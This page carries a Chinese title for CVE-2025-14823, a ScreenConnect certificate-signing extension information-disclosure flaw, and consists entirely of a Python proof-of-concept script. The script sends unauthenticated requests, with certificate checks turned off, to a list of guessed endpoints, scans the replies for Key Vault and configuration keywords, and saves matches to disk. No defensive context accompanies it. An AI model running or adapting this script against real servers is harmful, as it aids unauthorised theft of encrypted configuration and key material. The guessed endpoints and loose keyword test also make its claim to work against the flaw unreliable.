CVE-2025-14823 ScreenConnect证书签名扩展加密配置信息泄露漏洞

# CVE-2025-14823 PoC - Information Disclosure # Target: ScreenConnect Certificate Signing Extension # Description: Unauthenticated access to encrypted configuration values import requests import json TARGET_URL = "https://vulnerable-server/" def exploit_cve_2025_14823(): """ Exploit for CVE-2025-14823 Attempts to retrieve encrypted configuration values including Azure Key Vault keys through client-facing endpoints without authentication. """ # Common endpoints that might expose configuration endpoints = [ "ClientService.axd", "api/session/config", "SetupWizard.aspx", "CertificateSigning/Config", ] print("[*] CVE-2025-14823 - ScreenConnect Certificate Signing Extension Info Disclosure") print(f"[*] Target: {TARGET_URL}") for endpoint in endpoints: try: url = f"{TARGET_URL}{endpoint}" # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) # Check for encrypted configuration values in response if response.status_code == 200: content = response.text # Look for patterns indicating encrypted key vault data if any(pattern in content.lower() for pattern in [ "azurekeyvault", "encrypted", "keystore", "keyvault", "configuration", "certificate", "signing" ]): print(f"[!] Potential sensitive data found at: {url}") print(f"[!] Response length: {len(content)} bytes") # Save response for analysis with open(f"cve_2025_14823_response_{endpoint.replace('/', '_')}.txt", 'w') as f: f.write(content) print(f"[!] Response saved for analysis") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] Exploitation complete. Check saved responses for encrypted configuration data.") return False if __name__ == "__main__": exploit_cve_2025_14823()